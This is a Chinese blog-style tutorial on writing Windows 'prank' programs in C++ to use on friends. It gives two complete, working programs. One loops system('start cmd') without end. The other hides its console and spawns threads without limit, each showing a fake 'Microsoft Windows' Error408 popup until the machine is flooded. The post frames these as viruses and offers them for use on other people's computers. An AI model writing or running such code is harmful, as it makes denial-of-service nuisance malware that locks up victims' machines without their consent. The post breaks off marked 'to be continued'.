怎么做恶搞小程序

C++是离操作系统最近的编程语言,那必定难上加难,所以我们可以用来整朋友学习啦~

😄😄😄😄

想要做恶搞小程序,少不了这个头文件

#include <windows.h>

这个头文件包含了system命令及各种操纵电脑的函数

同样,恶搞小程序中很常见的还有这个函数

MessageBox(0, "正文", "标题", MB_OK | MB_ICONQUESTION);

说到system,大家肯定会想到批处理(bat),实际上,system命令就是批处理!!

system函数做病毒灰常不方便方便!!

比如:

#include <windows.h>

int main() {
	while(1) {
		system("start cmd");
	}
}

要想再nb一点,system已经不够我们用的了,就需要用到win32窗口了(用法之前讲过)

比如像error408那样的无限弹窗也可以:

#include <windows.h>
#include <iostream>
#include <vector>
#include <cstdlib>
#include <ctime>

using namespace std;

// 窗口过程函数
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    switch (msg) {
    case WM_COMMAND:
        if (LOWORD(wParam) == IDOK) {
            DestroyWindow(hwnd);
        }
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hwnd, msg, wParam, lParam);
    }
    return 0;
}

// 检查新位置是否与已有窗口重叠
bool isOverlapping(int x, int y, int width, int height, const vector<RECT>& existingWindows) {
    RECT newRect = { x, y, x + width, y + height };
    for (size_t i = 0; i < existingWindows.size(); ++i) {
        RECT intersection;
        if (IntersectRect(&intersection, &newRect, &existingWindows[i])) {
            return true;
        }
    }
    return false;
}

// 线程函数,用于显示自定义消息框
DWORD WINAPI ShowCustomMessageBox(LPVOID lpParam) {
    const char* message = static_cast<const char*>(lpParam);

    // 注册窗口类
    WNDCLASS wc = {};
    wc.lpfnWndProc = WndProc;
    wc.hInstance = GetModuleHandle(NULL);
    wc.lpszClassName = "WINDOWS";
    RegisterClass(&wc);

    // 获取屏幕尺寸
    int screenWidth = GetSystemMetrics(SM_CXSCREEN);
    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    static vector<RECT> existingWindows;
    int width = 200;
    int height = 100;
    int x, y;
    do {
        x = rand() % (screenWidth - width);
        y = rand() % (screenHeight - height);
    } while (isOverlapping(x, y, width, height, existingWindows));

    // 记录新窗口的位置
    RECT newRect = { x, y, x + width, y + height };
    existingWindows.push_back(newRect);

    // 创建窗口
    HWND hwnd = CreateWindow(wc.lpszClassName, "Microsoft Windows", WS_POPUP | WS_CAPTION | WS_SYSMENU,
        x, y, width, height, NULL, NULL, wc.hInstance, NULL);

    // 创建静态文本控件显示消息
    CreateWindow("STATIC", message, WS_CHILD | WS_VISIBLE | SS_CENTER,
        10, 10, width - 20, height - 40, hwnd, NULL, wc.hInstance, NULL);

    // 创建确定按钮
    CreateWindow("BUTTON", "确定", WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON,
        (width - 60) / 2, height - 30, 60, 20, hwnd, (HMENU)IDOK, wc.hInstance, NULL);

    // 显示窗口
    ShowWindow(hwnd, SW_SHOW);
    UpdateWindow(hwnd);

    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

int main() {
    // 初始化随机数种子
    srand(static_cast<unsigned int>(time(NULL)));

    // 隐藏控制台窗口
    HWND hwnd = GetConsoleWindow();
    if (hwnd != NULL) {
        ShowWindow(hwnd, SW_HIDE);
    }

    const char* message = "Error408";
    vector<HANDLE> threads;

    for (; ;) {
        HANDLE thread = CreateThread(NULL, 0, ShowCustomMessageBox, const_cast<char*>(message), 0, NULL);
        if (thread == NULL) {
            cerr << GetLastError() << std::endl;
            break;
        }
        threads.push_back(thread);
    }

    // 等待所有线程结束
    for (size_t i = 0; i < threads.size(); i++) {
        WaitForSingleObject(threads[i], INFINITE);
        CloseHandle(threads[i]);
    }

    return 0;
}    

未完待续

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值